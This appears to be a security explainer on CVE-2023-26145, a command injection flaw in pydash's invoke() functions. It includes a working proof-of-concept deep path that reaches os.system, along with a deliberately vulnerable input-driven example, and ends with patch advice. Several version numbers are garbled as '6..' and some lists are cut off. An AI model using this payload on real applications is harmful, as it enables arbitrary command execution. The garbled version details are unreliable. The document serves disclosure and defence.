*Discover how a subtle bug in a popular utility library could let attackers run arbitrary Python code right inside your app. We break down CVE-2023-26145 in plain language, with code, references, and exploit details.*
What Is CVE-2023-26145?
CVE-2023-26145 is a command injection vulnerability in the pydash Python package, versions before 6... It’s caused by improper handling of deep path strings in several utility functions — especially pydash.objects.invoke() and pydash.collections.invoke_map().
Affected versions: pydash < 6..
If an attacker can control certain arguments to these functions, they can get access to special Python objects and even execute arbitrary commands.
How Does the Vulnerability Work?
The danger comes from how pydash allows traversing Python objects using _deep path strings_ (like "config.secret_key"). This is very handy. But when deep paths are attacker-controlled, and the source object isn’t a built-in type (like dict, list), you can escape into Python internals.
Consider these lines
import pydash
class Secret:
def __init__(self):
self.data = "topsecret"
s = Secret()
# Attacker controls the path argument below
pydash.objects.invoke(s, "__init__.__globals__[os].system", ["ls -l"])
By carefully crafting the path, a user can reach the special __globals__ dict of a function, then pull out the os module from there, and finally call os.system('ls -l') — or any Python command.
Requirements for Exploitation
- The source object must be an instance of a user-defined class (NOT just a dict/list/str...).
The argument (argument 3) to pass to the called function.
- For invoke_map, it's harder, since you can't easily pick the passed argument, but the risk remains.
1. The vulnerable code
# Vulnerable code in a web app using pydash < 6..
import pydash
class MyApp:
def __init__(self):
self.value = 1234
app = MyApp()
# User input is directly used. Dangerous!
user_path = input("Enter the method to invoke: ")
user_arg = input("Enter an argument: ")
result = pydash.objects.invoke(app, user_path, [user_arg])
print("Method result:", result)
2. Attacker's input
Enter the method to invoke: __init__.__globals__[os].system
Enter an argument: id
3. What happens next
- app.__init__.__globals__[os] fetches the os module from the __globals__ of the class __init__ method,
4. Exploitation code in full
import pydash
import os
class Victim:
def __init__(self):
self.safe = True
v = Victim()
# Path and argument fully controlled
malicious_path = "__init__.__globals__[os].system"
malicious_command = "echo pwned"
pydash.objects.invoke(v, malicious_path, [malicious_command])
*Expected output:*
pwned
Whatever command you pass will be executed by the system — big trouble.
Why does this work?
Python stores some juicy runtime objects (like the module namespace) on functions and classes. A deep path like __init__.__globals__ lets anyone traverse to these objects if not properly sanitized.
- If the object is a plain dict or list: Traversal will NOT allow __init__.__globals__ (since these are only available on user-defined objects).
But with a class instance: __init__ is a method, which has a __globals__ attribute.
*This makes it possible to break out from normal property traversal and reach sensitive built-in modules and methods.*
Is invoke_map affected?
Yes; pydash.collections.invoke_map() can also be leveraged, but since the attacker can't easily control the arguments passed, it's a tougher — but not impossible — exploit.
Fix: Update to pydash 6.. or Later
The maintainers patched the issue in pydash 6.. by hardening deep path handling.
If you use pydash:
pip install --upgrade pydash
Or pin your dependencies
pydash>=6..
References
- Official CVE-2023-26145 entry at NIST
- GitHub Security Advisory: GHSA-2mv8-4jg2-wffp
- pydash pull request fixing the bug
- pydash objects.invoke() docs
- Article: Deep Path Attacks in Python Libraries (external analysis)
Takeaways
- Do NOT use user-controlled input as deep paths to access or invoke methods/attributes.
- Sanitize and restrict what attributes and methods users can access, especially in dynamic, reflection-heavy code.
Always keep dependencies up to date, especially for popular convenience libraries like pydash.
If you’re using pydash in your apps, check your code for any direct or indirect use of objects.invoke or collections.invoke_map where user input might flow in. Patch now!
*Stay safe, patch fast, and be careful with magic attribute access!*
Timeline
Published on: 09/28/2023 05:15:45 UTC
Last modified on: 11/07/2023 04:09:28 UTC